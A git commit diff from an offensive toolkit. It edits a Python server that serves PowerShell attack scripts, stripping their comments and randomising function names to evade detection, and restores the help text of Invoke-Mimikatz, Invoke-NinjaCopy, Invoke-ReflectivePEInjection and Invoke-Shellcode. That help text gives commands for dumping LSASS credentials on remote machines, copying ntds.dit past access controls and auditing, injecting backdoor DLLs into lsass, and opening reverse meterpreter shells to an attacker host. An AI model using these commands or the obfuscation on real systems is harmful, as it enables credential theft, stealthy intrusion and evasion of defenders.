Re-added the synopsys sections in the PowerShell scripts

All comments and uneeded sections get dynamically removed when the
script is requested
main
byt3bl33d3r 2015-11-10 23:25:11 -07:00
parent 3a7479d7dd
commit 365675f380
5 changed files with 500 additions and 2 deletions

View File

@ -11,6 +11,7 @@ import ssl
func_name = re.compile('CHANGE_ME_HERE')
comments = re.compile('#.+')
synopsis = re.compile('<#.+#>')
class MimikatzServer(BaseHTTPRequestHandler):
@ -23,8 +24,10 @@ class MimikatzServer(BaseHTTPRequestHandler):
self.end_headers()
with open('hosted/'+ self.path[4:], 'rb') as script:
ps_script = script.read()
ps_script = func_name.sub(settings.args.obfs_func_name, ps_script)
ps_script = comments.sub('', ps_script)
ps_script = eval(synopsis.sub('', repr(ps_script))) #Removes the synopsys
ps_script = func_name.sub(settings.args.obfs_func_name, ps_script) #Randomizes the function name
ps_script = comments.sub('', ps_script) #Removes the comments
#logging.info('Sending the following modified powershell script: {}'.format(ps_script))
self.wfile.write(ps_script)
elif settings.args.path:

View File

@ -1,5 +1,77 @@
function Invoke-CHANGE_ME_HERE
{
<#
.SYNOPSIS
This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as
dump credentials without ever writing the mimikatz binary to disk.
The script has a ComputerName parameter which allows it to be executed against multiple computers.
This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed.
Function: Invoke-Mimikatz
Author: Joe Bialek, Twitter: @JosephBialek
Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter @gentilkiwi
License: http://creativecommons.org/licenses/by/3.0/fr/
Required Dependencies: Mimikatz (included)
Optional Dependencies: None
Version: 1.5
ReflectivePEInjection version: 1.1
Mimikatz version: 2.0 alpha (2/16/2015)
.DESCRIPTION
Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any
functionality provided with Mimikatz.
.PARAMETER DumpCreds
Switch: Use mimikatz to dump credentials out of LSASS.
.PARAMETER DumpCerts
Switch: Use mimikatz to export all private certificates (even if they are marked non-exportable).
.PARAMETER Command
Supply mimikatz a custom command line. This works exactly the same as running the mimikatz executable like this: mimikatz "privilege::debug exit" as an example.
.PARAMETER ComputerName
Optional, an array of computernames to run the script on.
.EXAMPLE
Execute mimikatz on the local computer to dump certificates.
Invoke-Mimikatz -DumpCerts
.EXAMPLE
Execute mimikatz on two remote computers to dump credentials.
Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2")
.EXAMPLE
Execute mimikatz on a remote computer with the custom command "privilege::debug exit" which simply requests debug privilege and exits
Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1"
.NOTES
This script was created by combining the Invoke-ReflectivePEInjection script written by Joe Bialek and the Mimikatz code written by Benjamin DELPY
Find Invoke-ReflectivePEInjection at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection
Find mimikatz at: http://blog.gentilkiwi.com
.LINK
Blog: http://clymb3r.wordpress.com/
Benjamin DELPY blog: http://blog.gentilkiwi.com
Github repo: https://github.com/clymb3r/PowerShell
mimikatz Github repo: https://github.com/gentilkiwi/mimikatz
Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
#>
[CmdletBinding(DefaultParameterSetName="DumpCreds")]
Param(

View File

@ -1,5 +1,97 @@
function Invoke-CHANGE_ME_HERE
{
<#
.SYNOPSIS
This script can copy files off an NTFS volume by opening a read handle to the entire volume (such as c:) and parsing the NTFS structures. This requires you
are an administrator of the server. This allows you to bypass the following protections:
1. Files which are opened by a process and cannot be opened by other processes, such as the NTDS.dit file or SYSTEM registry hives
2. SACL flag set on a file to alert when the file is opened (I'm not using a Win32 API to open the file, so Windows has no clue)
3. Bypass DACL's, such as a DACL which only allows SYSTEM to open a file
If the LocalDestination param is specified, the file will be copied to the file path specified on the local server (the server the script is being run from).
If the RemoteDestination param is specified, the file will be copied to the file path specified on the remote server.
The script works by opening a read handle to the volume (which if logged, may stand out, but I don't think most people log this and other processes do it too).
The script then uses NTFS parsing code written by cyb70289 and posted to CodePlex to parse the NTFS structures. Since the NTFS parsing code is written
in C++, I have compiled the code to a DLL and load it reflective in to PowerShell using the Invoke-ReflectivePEInjection.ps1 script (see below for a link
to the original script).
Script: Invoke-NinjaCopy.ps1
Author: Joe Bialek, Twitter: @JosephBialek
Contributors: This script has a byte array hardcoded, which contains a DLL wich parses NTFS. This NTFS parsing code was written by cyb70289 <cyb70289@gmail.com>
See the following link: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib
The source code is also available with the distribution of this script.
License: GPLv3 or later
Required Dependencies: None
Optional Dependencies: None
Version: 1.1
ReflectivePEInjection version: 1.1
.DESCRIPTION
Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. This bypasses file DACL's,
read handle locks, and SACL's. You must be an administrator to run the script. This can be used to read SYSTEM files which are normally
locked, such as the NTDS.dit file or registry hives.
.PARAMETER Path
The full path of the file to copy (example: c:\filedir\file.txt)
.PARAMETER LocalDestination
Optional, a file path to copy the file to on the local computer. If this isn't used, RemoteDestination must be specified.
.PARAMETER RemoteDestination
Optional, a file path to copy the file to on the remote computer. If this isn't used, LocalDestination must be specified.
.PARAMETER BufferSize
Optional, how many bytes to read at a time from the file. The default is 5MB.
PowerShell will allocate a Byte[] equal to the size of this buffer, so setting this too high can cause PowerShell to use a LOT of RAM. It's
your job to figure out what "too high" is for your situation.
.PARAMETER ComputerName
Optional, an array of computernames to run the script on.
.EXAMPLE
Read the file ntds.dit from a remote server and write it to c:\test\ntds.dit on the local server
$NtdsBytes = Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -ComputerName "Server1" -LocalDestination "c:\test\ntds.dit"
.EXAMPLE
Read the file ntds.dit from a remote server and copy it to the temp directory on the remote server.
Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -RemoteDestination "c:\windows\temp\ntds.dit" -ComputerName "Server1"
.EXAMPLE
Read the file ntds.dit from the local server and copy it to the temp directory on the local server.
Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\windows\temp\ntds.dit"
.NOTES
This script combines two programs. The first is Invoke-ReflectivePEInjection, links can be found below to the original source.
This is a PowerShell script which can reflectively load EXE's/DLL's.
The second program is NTFS parsing code written in C++ by cyb70289 <cyb70289@gmail.com> and posted to CodeProject. I have compiled this
code as a DLL so it can be reflectively loaded by the PowerShell script.
The CodeProject code can be found here: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib
.LINK
Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell
NTFS Parsing Code: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib
Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
#>
[CmdletBinding()]
Param(

View File

@ -1,5 +1,186 @@
function Invoke-CHANGE_ME_HERE
{
<#
.SYNOPSIS
This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process,
or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,
please lead the Notes section (GENERAL NOTES) for information on how to use them.
1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process.
This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system,
this will load and execute the DLL/EXE in to memory without writing any files to disk.
2.) Reflectively load a DLL in to memory of a remote process.
As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process.
This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output
from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the
remote process.
While this script provides functionality to specify a file to load from disk a URL, or a byte array, these are more for demo purposes. The way I'd recommend using the script is to create a byte array
containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will
bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba
blog linked below (thanks to whitey).
PowerSploit Function: Invoke-ReflectivePEInjection
Author: Joe Bialek, Twitter: @JosephBialek
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Version: 1.4
.DESCRIPTION
Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
.PARAMETER PEPath
The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer.
.PARAMETER PEUrl
A URL containing a DLL/EXE to load and execute.
.PARAMETER PEBytes
A byte array containing a DLL/EXE to load and execute.
.PARAMETER ComputerName
Optional, an array of computernames to run the script on.
.PARAMETER FuncReturnType
Optional, the return type of the function being called in the DLL. Default: Void
Options: String, WString, Void. See notes for more information.
IMPORTANT: For DLLs being loaded remotely, only Void is supported.
.PARAMETER ExeArgs
Optional, arguments to pass to the executable being reflectively loaded.
.PARAMETER ProcName
Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
.PARAMETER ProcId
Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
.PARAMETER ForceASLR
Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even
if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when
loading in to a remote process.
.EXAMPLE
Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc().
Note that the file name on the website can be any file extension.
Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString
.EXAMPLE
Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local
.EXAMPLE
Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
the wchar_t* returned by WStringFunc() from all the computers.
Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)
.EXAMPLE
Load DemoEXE and run it locally.
Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4"
.EXAMPLE
Load DemoEXE and run it locally. Forces ASLR on for the EXE.
Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR
.EXAMPLE
Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local
.EXAMPLE
Load a PE from a byte array.
Invoke-ReflectivePEInjection -PEPath (Get-Content c:\DemoEXE.exe -Encoding Byte) -ExeArgs "Arg1 Arg2 Arg3 Arg4"
.NOTES
GENERAL NOTES:
The script has 3 basic sets of functionality:
1.) Reflectively load a DLL in to the PowerShell process
-Can return DLL output to user when run remotely or locally.
-Cleans up memory in the PS process once the DLL finishes executing.
-Great for running pentest tools on remote computers without triggering process monitoring alerts.
-By default, takes 3 function names, see below (DLL LOADING NOTES) for more info.
2.) Reflectively load an EXE in to the PowerShell process.
-Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally.
-Cleans up memory in the PS process once the DLL finishes executing.
-Great for running existing pentest tools which are EXE's without triggering process monitoring alerts.
3.) Reflectively inject a DLL in to a remote process.
-Can NOT return DLL output to the user when run remotely OR locally.
-Does NOT clean up memory in the remote process if/when DLL finishes execution.
-Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.
-Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.
DLL LOADING NOTES:
PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.
If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL
return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell
remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from
applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting.
For DLL Loading:
Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE"
I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return
the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the
returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows:
wchar_t* : FuncReturnType = WString
char* : FuncReturnType = String
void : Default, don't supply a FuncReturnType
For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string
using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns.
The function name expected in the DLL for the prewritten FuncReturnType's is as follows:
WString : WStringFunc
String : StringFunc
Void : VoidFunc
These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would
be declared as follows:
extern "C" __declspec( dllexport ) wchar_t* WStringFunc()
If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify
this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE".
Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection
.LINK
Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection
Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/
#>
[CmdletBinding(DefaultParameterSetName="WebFile")]
Param(

View File

@ -1,5 +1,155 @@
function Invoke-CHANGE_ME_HERE
{
<#
.SYNOPSIS
Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
PowerSploit Function: Invoke-Shellcode
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
.PARAMETER ProcessID
Process ID of the process you want to inject shellcode into.
.PARAMETER Shellcode
Specifies an optional shellcode passed in as a byte array
.PARAMETER ListMetasploitPayloads
Lists all of the available Metasploit payloads that Invoke-Shellcode supports
.PARAMETER Lhost
Specifies the IP address of the attack machine waiting to receive the reverse shell
.PARAMETER Lport
Specifies the port of the attack machine waiting to receive the reverse shell
.PARAMETER Payload
Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.
.PARAMETER UserAgent
Optionally specifies the user agent to use when using meterpreter http or https payloads
.PARAMETER Proxy
Optionally specifies whether to utilize the proxy settings on the machine.
.PARAMETER Legacy
Optionally specifies whether to utilize the older meterpreter handler "INITM". This will likely be removed in the future.
.PARAMETER Force
Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
.EXAMPLE
C:\PS> Invoke-Shellcode -ProcessId 4274
Description
-----------
Inject shellcode into process ID 4274.
.EXAMPLE
C:\PS> Invoke-Shellcode
Description
-----------
Inject shellcode into the running instance of PowerShell.
.EXAMPLE
C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
C:\PS> $Proc = Get-Process notepad
C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
VERBOSE: Injecting shellcode into PID: 4004
VERBOSE: Injecting into a Wow64 process.
VERBOSE: Using 32-bit shellcode.
VERBOSE: Shellcode memory reserved at 0x03BE0000
VERBOSE: Emitting 32-bit assembly call stub.
VERBOSE: Thread call stub memory reserved at 0x001B0000
VERBOSE: Shellcode injection complete!
Description
-----------
Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options:
Payload options (windows/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.30.129 yes The local listener hostname
LPORT 443 yes The local listener port
.EXAMPLE
C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80
Description
-----------
Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options:
Payload options (windows/meterpreter/reverse_http):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.30.129 yes The local listener hostname
LPORT 80 yes The local listener port
.EXAMPLE
C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
Description
-----------
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
.EXAMPLE
C:\PS> Invoke-Shellcode -ListMetasploitPayloads
Payloads
--------
windows/meterpreter/reverse_http
windows/meterpreter/reverse_https
.NOTES
Use the '-Verbose' option to print detailed information.
Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter
Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
.LINK
http://www.exploit-monday.com
#>
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
[ValidateNotNullOrEmpty()]